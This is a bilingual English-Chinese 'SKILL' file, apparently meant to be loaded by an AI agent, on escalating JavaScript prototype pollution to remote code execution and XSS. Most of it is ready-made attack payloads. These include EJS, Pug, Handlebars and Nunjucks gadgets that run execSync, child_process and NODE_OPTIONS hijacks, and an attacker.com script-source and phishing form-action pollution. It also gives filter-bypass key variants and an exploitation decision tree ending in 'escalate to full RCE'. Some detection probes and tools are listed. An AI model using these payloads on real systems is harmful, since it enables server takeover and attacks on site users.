prototype-pollution-advanced

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Prototype Pollution Advanced — RCE & Gadget Exploitation

SKILL: 高级原型污染 — RCE与利用链漏洞利用

AI LOAD INSTRUCTION: Advanced prototype pollution escalation. Covers server-side RCE via template engines (EJS, Pug, Handlebars), Node.js child_process gadgets, client-side script gadgets, filter bypass patterns, and systematic detection. Load ../prototype-pollution/SKILL.md first for fundamentals (merge sinks,
__proto__
vs
constructor.prototype
, basic probes).
AI加载说明:高级原型污染漏洞升级指南,涵盖通过模板引擎(EJS、Pug、Handlebars)实现服务端RCE、Node.js child_process利用链、客户端脚本利用链、过滤器绕过模式以及系统化检测方法。请先加载../prototype-pollution/SKILL.md学习基础知识(合并sink、
__proto__
constructor.prototype
的区别、基础探测方法)。

0. RELATED ROUTING

0. 相关参考链接

  • prototype-pollutionLOAD FIRST for PP fundamentals, merge-sink detection, basic probes
  • ssti-server-side-template-injection — template engine RCE context (PP often triggers through template gadgets)
  • xss-cross-site-scripting — client-side PP gadgets ultimately achieve XSS
  • prototype-pollution请优先加载学习原型污染基础、合并sink检测、基础探测方法
  • ssti-server-side-template-injection — 模板引擎RCE上下文(原型污染通常通过模板利用链触发)
  • xss-cross-site-scripting — 客户端原型污染利用链最终可实现XSS

Advanced Reference

高级参考资料

Load KNOWN_GADGETS.md for the comprehensive gadget table by framework/library with polluted properties, trigger conditions, impact, and affected versions.

加载KNOWN_GADGETS.md可查看按框架/库分类的完整利用链表,包含被污染属性、触发条件、影响范围以及受影响版本。

1. SERVER-SIDE PP → RCE

1. 服务端原型污染 → RCE

1.1 Node.js child_process.spawn — Shell/ENV Injection

1.1 Node.js child_process.spawn — Shell/环境变量注入

When
child_process.spawn
or
child_process.fork
is called without explicit
env
/
shell
options, it inherits from
Object.prototype
:
javascript
// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code
Alternative ENV pollution:
json
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}
当调用
child_process.spawn
child_process.fork
时未显式指定
env
/
shell
选项,参数会从
Object.prototype
继承:
javascript
// Vulnerable pattern (very common):
const { execSync } = require('child_process');
execSync('ls');  // inherits shell, env from prototype

// Pollution for RCE:
Object.prototype.shell = '/proc/self/exe';
Object.prototype.argv0 = 'console.log(require("child_process").execSync("id").toString())//';
Object.prototype.NODE_OPTIONS = '--require /proc/self/cmdline';
// Next child_process call executes attacker code
备选环境变量污染方式:
json
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}

1.2 EJS (Embedded JavaScript Templates)

1.2 EJS (Embedded JavaScript Templates)

EJS
render()
reads
opts
from object properties. Polluting
outputFunctionName
injects code into the compiled template function:
json
// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE
Detection: any EJS
res.render()
call after pollution triggers it.
EJS的
render()
方法会从对象属性读取
opts
,污染
outputFunctionName
可向编译后的模板函数注入代码:
json
// Pollution payload:
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}

// When EJS renders ANY template after pollution:
// Compiled function includes: var x;process.mainModule.require('child_process').execSync('id');s = "";
// → RCE
检测方法:污染后任意EJS
res.render()
调用都会触发漏洞。

1.3 Pug (formerly Jade)

1.3 Pug (原Jade)

Pug's compiler reads
block
from object properties:
json
{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}
Alternative via
self
option:
json
{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}
Pug编译器会从对象属性读取
block
json
{"__proto__": {"block": {"type": "Text", "val": "x]);process.mainModule.require('child_process').execSync('id');//"}}}
通过
self
选项的备选利用方式:
json
{"__proto__": {"self": true, "line": "x]});process.mainModule.require('child_process').execSync('id');//"}}

1.4 Handlebars

1.4 Handlebars

Handlebars template compilation checks
type
and
program
on template AST nodes:
json
{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}
Simpler via
allowProtoMethodsByDefault
:
json
{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}
Handlebars模板编译时会检查模板AST节点的
type
program
属性:
json
{"__proto__": {"type": "Program", "body": [{"type": "MustacheStatement", "path": {"type": "PathExpression", "original": "constructor.constructor('return process.mainModule.require(`child_process`).execSync(`id`)')()","parts": ["constructor","constructor"]}, "params": [], "hash": null}]}}
通过
allowProtoMethodsByDefault
的更简单利用方式:
json
{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}
// Then use {{#with this as |obj|}}{{obj.constructor.constructor "return process.mainModule.require('child_process').execSync('id')"}}{{/with}}

1.5 Nunjucks

1.5 Nunjucks

json
{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}
json
{"__proto__": {"type": "Code", "value": "global.process.mainModule.require('child_process').execSync('id')"}}

1.6 Express res.render (Generic)

1.6 Express res.render (通用)

When Express calls
res.render()
, options merge with
app.locals
and
res.locals
. Polluted prototype properties appear as template variables:
json
{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}

当Express调用
res.render()
时,选项会与
app.locals
res.locals
合并,被污染的原型属性会作为模板变量出现:
json
{"__proto__": {"view options": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');s"}}}

2. CLIENT-SIDE PROTOTYPE POLLUTION

2. 客户端原型污染

2.1 jQuery Gadgets

2.1 jQuery利用链

$.extend(true, {}, userInput)
performs deep merge — classic PP sink.
After pollution, jQuery's HTML methods use polluted properties:
javascript
// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body');  // may use polluted property
$.extend(true, {}, userInput)
会执行深度合并,是典型的原型污染sink。
污染完成后,jQuery的HTML方法会使用被污染的属性:
javascript
// Pollution:
Object.prototype.innerHTML = '<img src=x onerror=alert(1)>';

// Trigger: any jQuery DOM manipulation that reads innerHTML from prototype
$('<div>').appendTo('body');  // may use polluted property

2.2 Lodash Gadgets

2.2 Lodash利用链

javascript
// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value)  // if path is attacker-controlled

// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')();  // sourceURL injected into Function constructor
javascript
// Vulnerable functions (deep merge):
_.merge({}, userInput)
_.defaultsDeep({}, userInput)
_.set(obj, path, value)  // if path is attacker-controlled

// template() gadget:
Object.prototype.sourceURL = '\u000ajavascript:alert(1)//';
_.template('hello')();  // sourceURL injected into Function constructor

2.3 Script Gadgets in Frameworks

2.3 框架中的脚本利用链

"Script gadgets" are framework code paths that read from
Object.prototype
and perform dangerous operations:
FrameworkGadget PatternPolluted PropertyImpact
jQuery
$.html()
, element creation
innerHTML
,
src
XSS
Angular.js
$interpolate
__defineGetter__
XSS
Vue.jsTemplate compilation
template
,
render
XSS
Ember.jsComponent renderingVarious view propertiesXSS
Backbone.js
_.template
sourceURL
XSS
「脚本利用链」是指框架中会读取
Object.prototype
并执行危险操作的代码路径:
框架利用链模式被污染属性影响
jQuery
$.html()
、元素创建
innerHTML
src
XSS
Angular.js
$interpolate
__defineGetter__
XSS
Vue.js模板编译
template
render
XSS
Ember.js组件渲染各类视图属性XSS
Backbone.js
_.template
sourceURL
XSS

2.4 DOM Property Pollution

2.4 DOM属性污染

javascript
Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these

javascript
Object.prototype.src = 'https://attacker.com/evil.js';
Object.prototype.href = 'javascript:alert(1)';
Object.prototype.action = 'https://attacker.com/phish';
// Any dynamically created element may inherit these

3. DETECTION TECHNIQUES

3. 检测技术

3.1 Black-Box Server-Side Detection

3.1 黑盒服务端检测

Step 1: Inject and check
  POST /api/endpoint
  {"__proto__":{"polluted":"yes"}}
  
  Then: GET /api/anything
  Check if response contains "polluted" or behavior changes

Step 2: Error-based detection
  {"__proto__":{"toString":1}}
  → If server crashes or returns 500, toString was overwritten
  
  {"__proto__":{"valueOf":1}}
  → Same crash-based detection

Step 3: Response differential
  {"__proto__":{"status":555}}
  → Check if HTTP status code changes to 555
  
  {"__proto__":{"content-type":"text/plain"}}
  → Check if Content-Type header changes
Step 1: 注入并验证
  POST /api/endpoint
  {"__proto__":{"polluted":"yes"}}
  
  随后: GET /api/anything
  检查响应是否包含"polluted"或行为发生变化

Step 2: 基于错误的检测
  {"__proto__":{"toString":1}}
  → 如果服务端崩溃或返回500,说明toString被覆盖
  
  {"__proto__":{"valueOf":1}}
  → 相同的崩溃检测逻辑

Step 3: 响应差异对比
  {"__proto__":{"status":555}}
  → 检查HTTP状态码是否变为555
  
  {"__proto__":{"content-type":"text/plain"}}
  → 检查Content-Type头是否发生变化

3.2 Black-Box Client-Side Detection

3.2 黑盒客户端检测

javascript
// In browser console after interacting with the app:
Object.prototype.testPollution
// If returns a value → something polluted the prototype

// Automated: override defineProperty to detect writes
Object.defineProperty(Object.prototype, '__proto__', {
    set: function(v) { console.trace('PP detected!', v); }
});
javascript
// 与应用交互后在浏览器控制台执行:
Object.prototype.testPollution
// 如果返回值 → 说明存在原型污染

// 自动化方式: 重写defineProperty检测写入操作
Object.defineProperty(Object.prototype, '__proto__', {
    set: function(v) { console.trace('PP detected!', v); }
});

3.3 Automated Tools

3.3 自动化工具

ToolTypePurpose
PPScanBurp ExtensionScans for server-side PP
server-side-prototype-pollutionBurp Extension (Gareth Heyes)Advanced server-side PP detection with multiple techniques
ppfuzzCLIFuzz for client-side PP via URL fragment/query
ppmapCLIMap client-side PP to known gadgets

工具类型用途
PPScanBurp扩展扫描服务端原型污染
server-side-prototype-pollutionBurp扩展(Gareth Heyes开发)采用多种技术的高级服务端原型污染检测
ppfuzzCLI工具通过URL片段/查询参数模糊测试客户端原型污染
ppmapCLI工具将客户端原型污染映射到已知利用链

4. BYPASS
__proto__
FILTERS

4. 绕过
__proto__
过滤器

4.1 constructor.prototype Path

4.1 constructor.prototype路径

json
// Instead of:
{"__proto__": {"polluted": "yes"}}

// Use:
{"constructor": {"prototype": {"polluted": "yes"}}}
json
// 替换:
{"__proto__": {"polluted": "yes"}}

// 使用:
{"constructor": {"prototype": {"polluted": "yes"}}}

4.2 Bracket Notation Variants

4.2 方括号写法变体

?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes   (if filter strips __proto__ once)
?constructor[prototype][polluted]=yes
?__proto__[polluted]=yes
?__pro__proto__to__[polluted]=yes   (如果过滤器仅会删除一次__proto__)

4.3 JSON Key Variations

4.3 JSON键名变体

json
{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}
json
{"__proto__": {"a": 1}}
{"constructor": {"prototype": {"a": 1}}}
{"__proto__\u0000": {"a": 1}}

4.4 Key Distinction: Shallow vs Deep

4.4 键名差异:浅拷贝 vs 深拷贝

Object.assign
does NOT pollute prototype (shallow copy, safe). Only recursive/deep merge functions are vulnerable. Always verify the merge depth.

Object.assign
不会污染原型(浅拷贝,安全),只有递归/深合并函数存在漏洞,请始终确认合并深度。

5. EXPLOITATION FLOW

5. 利用流程

1. Find merge sink (../prototype-pollution/SKILL.md Section 0)
   └── JSON body parsed and deep-merged into server object

2. Confirm pollution:
   └── {"__proto__":{"testxyz":"1"}} → check if testxyz appears globally

3. Identify technology stack:
   ├── Express + EJS → outputFunctionName gadget (Section 1.2)
   ├── Express + Pug → block gadget (Section 1.3)
   ├── Express + Handlebars → type/program gadget (Section 1.4)
   ├── Any Node.js with child_process → shell/NODE_OPTIONS (Section 1.1)
   ├── Client-side jQuery → DOM gadgets (Section 2.1)
   ├── Client-side Lodash → template/sourceURL (Section 2.2)
   └── Unknown → try KNOWN_GADGETS.md systematically

4. Craft RCE/XSS payload matching gadget

5. Verify with safe payload first (sleep / DNS callback)

6. Escalate to full RCE

1. 找到合并sink(参考../prototype-pollution/SKILL.md第0节)
   └── JSON请求体被解析并深度合并到服务端对象

2. 确认污染存在:
   └── {"__proto__":{"testxyz":"1"}} → 检查testxyz是否全局出现

3. 识别技术栈:
   ├── Express + EJS → outputFunctionName利用链(第1.2节)
   ├── Express + Pug → block利用链(第1.3节)
   ├── Express + Handlebars → type/program利用链(第1.4节)
   ├── 任意使用child_process的Node.js应用 → shell/NODE_OPTIONS(第1.1节)
   ├── 客户端使用jQuery → DOM利用链(第2.1节)
   ├── 客户端使用Lodash → template/sourceURL(第2.2节)
   └── 技术栈未知 → 按顺序尝试KNOWN_GADGETS.md中的利用链

4. 构造匹配利用链的RCE/XSS payload

5. 先用安全payload验证(sleep / DNS回调)

6. 升级为完整RCE

6. DECISION TREE

6. 决策树

Confirmed prototype pollution?
├── Server-side or client-side?
│   │
│   ├── SERVER-SIDE
│   │   ├── Template engine in use?
│   │   │   ├── EJS → __proto__.outputFunctionName (Section 1.2)
│   │   │   ├── Pug → __proto__.block (Section 1.3)
│   │   │   ├── Handlebars → __proto__.type (Section 1.4)
│   │   │   ├── Nunjucks → __proto__.type (Section 1.5)
│   │   │   └── Unknown → try each gadget from KNOWN_GADGETS.md
│   │   │
│   │   ├── child_process used anywhere?
│   │   │   ├── YES → __proto__.shell + NODE_OPTIONS (Section 1.1)
│   │   │   └── MAYBE → inject and trigger error to reveal stack
│   │   │
│   │   └── No known gadget?
│   │       ├── Try status code pollution: __proto__.status = 555
│   │       ├── Try header pollution: __proto__.content-type
│   │       └── Check KNOWN_GADGETS.md for framework match
│   │
│   └── CLIENT-SIDE
│       ├── jQuery loaded?
│       │   ├── YES → $.extend deep merge + DOM gadgets (Section 2.1)
│       │   └── Check ppmap for automated gadget detection
│       │
│       ├── Lodash loaded?
│       │   ├── YES → _.template sourceURL gadget (Section 2.2)
│       │   └── _.merge as both sink AND gadget
│       │
│       └── Framework (Angular/Vue/Ember)?
│           └── Script gadget lookup (Section 2.3)
├── __proto__ keyword filtered?
│   ├── Try constructor.prototype (Section 4.1)
│   ├── Try bracket notation (Section 4.2)
│   └── Try JSON key variations (Section 4.3)
└── Not confirmed yet?
    └── Go back to ../prototype-pollution/SKILL.md for detection

已确认存在原型污染?
├── 服务端还是客户端?
│   │
│   ├── 服务端
│   │   ├── 是否使用模板引擎?
│   │   │   ├── EJS → __proto__.outputFunctionName(第1.2节)
│   │   │   ├── Pug → __proto__.block(第1.3节)
│   │   │   ├── Handlebars → __proto__.type(第1.4节)
│   │   │   ├── Nunjucks → __proto__.type(第1.5节)
│   │   │   └── 未知 → 尝试KNOWN_GADGETS.md中的每个利用链
│   │   │
│   │   ├── 是否在任意位置使用了child_process?
│   │   │   ├── 是 → __proto__.shell + NODE_OPTIONS(第1.1节)
│   │   │   └── 可能 → 注入payload触发错误暴露调用栈
│   │   │
│   │   └── 无已知利用链?
│   │       ├── 尝试状态码污染: __proto__.status = 555
│   │       ├── 尝试响应头污染: __proto__.content-type
│   │       └── 检查KNOWN_GADGETS.md匹配对应框架
│   │
│   └── 客户端
│       ├── 是否加载了jQuery?
│       │   ├── 是 → $.extend深度合并 + DOM利用链(第2.1节)
│       │   └── 使用ppmap自动化检测利用链
│       │
│       ├── 是否加载了Lodash?
│       │   ├── 是 → _.template sourceURL利用链(第2.2节)
│       │   └── _.merge可同时作为sink和利用链
│       │
│       └── 使用了框架(Angular/Vue/Ember)?
│           └── 查询脚本利用链(第2.3节)
├── __proto__关键词被过滤?
│   ├── 尝试constructor.prototype(第4.1节)
│   ├── 尝试方括号写法(第4.2节)
│   └── 尝试JSON键名变体(第4.3节)
└── 尚未确认污染存在?
    └── 返回../prototype-pollution/SKILL.md学习检测方法

7. QUICK REFERENCE — KEY PAYLOADS

7. 快速参考 — 核心Payload

json
// EJS RCE
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}

// Pug RCE
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}

// child_process RCE (Node.js)
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}

// Lodash template XSS
{"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}

// Filter bypass (constructor path)
{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}

// Safe detection probe
{"__proto__":{"pptest123":"polluted"}}
json
// EJS RCE
{"__proto__":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}

// Pug RCE
{"__proto__":{"block":{"type":"Text","val":"x]);process.mainModule.require('child_process').execSync('id');//"}}}

// child_process RCE (Node.js)
{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}

// Lodash template XSS
{"__proto__":{"sourceURL":"\u000ajavascript:alert(1)//"}}

// 过滤器绕过(constructor路径)
{"constructor":{"prototype":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('id');s"}}}

// 安全探测payload
{"__proto__":{"pptest123":"polluted"}}